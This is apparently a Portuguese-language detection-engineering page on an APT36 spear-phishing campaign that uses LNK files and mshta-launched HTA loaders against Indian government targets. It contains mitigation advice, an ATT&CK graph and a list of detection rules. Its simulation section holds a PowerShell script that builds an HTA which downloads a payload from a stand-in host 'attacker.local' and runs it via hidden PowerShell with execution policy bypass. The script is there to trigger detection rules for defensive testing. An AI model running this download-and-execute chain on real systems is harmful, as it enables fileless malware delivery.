APT36: Campanha de Malware LNK em Multi-Estágios Alvejando Entidades Governamentais Indianas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
APT36 (Transparent Tribe) realizou uma campanha de spear-phishing que entregou um atalho LNK malicioso disfarçado como um PDF. Ao ser aberto, o atalho inicia mshta.exe para executar um carregador baseado em HTA que descriptografa e executa cargas na memória, incluindo um módulo de configuração e uma DLL RAT com recursos completos. O malware seleciona dinamicamente métodos de persistência com base no produto antivírus instalado pela vítima e se conecta ao seu servidor de comando e controle por meio de um canal criptografado. A atividade é avaliada como focada em espionagem, visando organizações governamentais e acadêmicas indianas para roubar dados.
Investigação
Pesquisadores analisaram o arquivo LNK incomumente grande, rastrearam o conteúdo HTA incorporado hospedado em innlive.in, e reverteram a engenharia da lógica de descriptografia. A cadeia revelou duas etapas principais: uma carga útil de desserialização .NET usada para enfraquecer ou contornar verificações de segurança, seguida por uma DLL maliciosa sem arquivo (por exemplo, ki2mtmkl.dll / iinneldc.dll) fornecendo funcionalidade RAT. O comportamento de persistência foi mapeado para produtos antivírus específicos, e detalhes chave de C2—como porta TCP 8621 e uma chave AES usada para tráfego criptografado—foram extraídos durante a análise.
Mitigação
Restrinja ou coloque em quarentena anexos de atalho (.lnk) entregues via e-mail, especialmente quando compactados em arquivos ZIP. Aplique políticas de controle de aplicação para limitar a execução de mshta.exe, PowerShell e outros motores de script a partir de caminhos graváveis pelo usuário. Use detecções de endpoint para cadeias de processos envolvendo mshta.exe e indicadores de execução DLL na memória, e aplique controles rígidos de saída para bloquear a comunicação com domínios desconhecidos ou não confiáveis.
Resposta
Se a execução de LNK suspeito for detectada, isole o sistema, capture imagens de memória e procure por indicadores DLL na memória associados ao estágio RAT. Bloqueie domínios maliciosos identificados e infraestrutura de IP relacionada, e altere credenciais potencialmente expostas. Realize uma revisão forense para localizar artefatos de persistência na pasta de inicialização e no registro, remova-os e valide que nenhum ponto de apoio adicional permanece.
“graph TB %% Class definitions classDef technique fill:#cfe2f3 %% Node definitions tech_T1566_001[“<b>Técnica</b> – <b>T1566.001</b> Phishing: Anexo de Spearphishing<br/>Enviar email direcionado com anexo malicioso”] class tech_T1566_001 technique tech_T1218_005[“<b>Técnica</b> – <b>T1218.005</b> Execução de Proxy de Binário do Sistema: Mshta<br/>Executar HTA malicioso via mshta.exe”] class tech_T1218_005 technique tech_T1059_001[“<b>Técnica</b> – <b>T1059.001</b> PowerShell<br/>Executar comandos PowerShell para baixar carga útil”] class tech_T1059_001 technique tech_T1059_005[“<b>Técnica</b> – <b>T1059.005</b> Visual Basic<br/>Executar script HTA usando VBScript”] class tech_T1059_005 technique tech_T1027[“<b>Técnica</b> – <b>T1027</b> Arquivos ou Informações Ofuscadas<br/>Carga útil está codificada/encriptada em camadas”] class tech_T1027 technique tech_T1055[“<b>Técnica</b> – <b>T1055</b> Injeção de Processo<br/>Injetar DLL malicioso em processo legítimo”] class tech_T1055 technique tech_T1547_001[“<b>Técnica</b> – <b>T1547.001</b> Execução Automática de Boot ou Logon: Pasta de Inicialização<br/>Persistência via atalho na Inicialização”] class tech_T1547_001 technique tech_T1112[“<b>Técnica</b> – <b>T1112</b> Modificar Registro<br/>Adicionar chaves de execução para persistência”] class tech_T1112 technique tech_T1036[“<b>Técnica</b> – <b>T1036</b> Mascaramento<br/>LNK se disfarça como PDF”] class tech_T1036 technique tech_T1518_001[“<b>Técnica</b> – <b>T1518.001</b> Descoberta de Software: Descoberta de Software de Segurança<br/>Consultar AV instalado”] class tech_T1518_001 technique tech_T1082[“<b>Técnica</b> – <b>T1082</b> Descoberta de Informação do Sistema<br/>Coletar OS, nome de usuário, etc.”] class tech_T1082 technique tech_T1057[“<b>Técnica</b> – <b>T1057</b> Descoberta de Processo<br/>Enumerar processos”] class tech_T1057 technique tech_T1083[“<b>Técnica</b> – <b>T1083</b> Descoberta de Arquivos e Diretórios<br/>Procurar por documentos”] class tech_T1083 technique tech_T1115[“<b>Técnica</b> – <b>T1115</b> Dados da Área de Transferência<br/>Capturar área de transferência”] class tech_T1115 technique tech_T1113[“<b>Técnica</b> – <b>T1113</b> Captura de Tela<br/>Capturar capturas de tela”] class tech_T1113 technique tech_T1041[“<b>Técnica</b> – <b>T1041</b> Exfiltração Via Canal C2<br/>Exfiltrar dados via C2”] class tech_T1041 technique tech_T1573[“<b>Técnica</b> – <b>T1573</b> Canal Encriptado<br/>Tráfego C2 encriptado”] class tech_T1573 technique %% Conexões tech_T1566_001 u002du002d>|leva_para| tech_T1218_005 tech_T1218_005 u002du002d>|leva_para| tech_T1059_001 tech_T1218_005 u002du002d>|leva_para| tech_T1059_005 tech_T1059_001 u002du002d>|leva_para| tech_T1027 tech_T1027 u002du002d>|leva_para| tech_T1055 tech_T1055 u002du002d>|leva_para| tech_T1547_001 tech_T1547_001 u002du002d>|leva_para| tech_T1112 tech_T1218_005 u002du002d>|leva_para| tech_T1036 tech_T1036 u002du002d>|leva_para| tech_T1518_001 tech_T1518_001 u002du002d>|leva_para| tech_T1082 tech_T1082 u002du002d>|leva_para| tech_T1057 tech_T1057 u002du002d>|leva_para| tech_T1083 tech_T1083 u002du002d>|leva_para| tech_T1115 tech_T1083 u002du002d>|leva_para| tech_T1113 tech_T1115 u002du002d>|leva_para| tech_T1041 tech_T1113 u002du002d>|leva_para| tech_T1041 tech_T1055 u002du002d>|leva_para| tech_T1573 “
Fluxo de Ataque
Detecções
Possível Arquivo LNK Malicioso com Dupla Extensão (via cmdline)
Visualizar
Comportamento Suspeito de Evasão de Defesa LOLBAS MSHTA pela Detecção de Comandos Associados (via process_creation)
Visualizar
Binários / Scripts Suspeitos em Local de Inicialização Automática (via file_event)
Visualizar
Arquivos Suspeitos no Perfil de Usuário Público (via file_event)
Visualizar
Execução Suspeita a partir do Perfil de Usuário Público (via process_creation)
Visualizar
IOCs (SourceIP) para detectar: APT36 : Campanha Maliciosa de LNK de Múltiplos Estágios Alvejando Entidades do Governo Indiano
Visualizar
IOCs (HashSha256) para detectar: APT36 : Campanha Maliciosa de LNK de Múltiplos Estágios Alvejando Entidades do Governo Indiano
Visualizar
IOCs (DestinationIP) para detectar: APT36 : Campanha Maliciosa de LNK de Múltiplos Estágios Alvejando Entidades do Governo Indiano
Visualizar
Execução de mshta.exe com PowerShell ou CMD [Criação de Processo Windows]
Visualizar
Detecção de Domínio Malicioso e Comunicação C2 do APT36 [Conexão de Rede Windows]
Visualizar
Detecção de Chave AES Codificada em Campanha APT36 [Windows Sysmon]
Visualizar
Execução de Simulação
Pré-requisito: A Verificação de Telemetria e Linha de Base Pré-voo deve ter sido aprovada.
Justificativa: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa e Comandos do Ataque:
Um adversário obteve acesso ao PowerShell com privilégios baixos em uma estação de trabalho comprometida. Para executar uma carga remota sem escrever um executável no disco, o invasor usamshta.exepara executar um arquivo HTA que obtém uma backdoor em PowerShell de um servidor C2. Os passos são:- Codifique um HTA malicioso mínimo que inicia o PowerShell para baixar e executar uma carga.
- Hospede o HTA em um servidor web (por exemplo,
http://attacker.local/malicious.hta). - A partir da sessão do PowerShell comprometida, invoque
mshta.execom a URL remota como um argumento.
Esta cadeia cria um evento de criação de processo onde
mshta.exeé o processo filho depowershell.exe, correspondendo exatamente à regra Sigma. -
Script de Teste de Regressão:
#------------------------------------------------- # Roteiro de ataque simulado - aciona a regra #------------------------------------------------- # 1. Defina o HTA malicioso (inline para fins de demonstração) $htaContent = @" <script> // Baixe e execute uma carga de PowerShell dummy var url = 'http://attacker.local/payload.ps1'; var xhr = new ActiveXObject('Microsoft.XMLHTTP'); xhr.open('GET', url, false); xhr.send(); var ps = new ActiveXObject('WScript.Shell'); ps.Run('powershell -NoProfile -ExecutionPolicy Bypass -Command "' + xhr.responseText + '"', 0, false); </script> "@ # 2. Escreva o HTA para localização temporária (simulando um arquivo hospedado) $tempPath = "$env:TEMPmalicious.hta" $htaContent | Set-Content -Path $tempPath -Encoding ASCII # 3. Inicie mshta.exe a partir do PowerShell (o gatilho de detecção) $mshta = (Get-Command mshta.exe).Source Write-Host "[*] Iniciando mshta.exe para executar a carga do HTA..." Start-Process -FilePath $mshta -ArgumentList "`"$tempPath`"" -NoNewWindow # Opcional: Pause para permitir que o evento seja capturado Start-Sleep -Seconds 5 # Limpeza (tratada na próxima seção) -
Comandos de Limpeza:
# Remover arquivo HTA temporário Remove-Item -Path "$env:TEMPmalicious.hta" -Force -ErrorAction SilentlyContinue # Pare quaisquer processos mshta.exe remanescentes (improvável após execução normal) Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "[*] Limpeza concluída."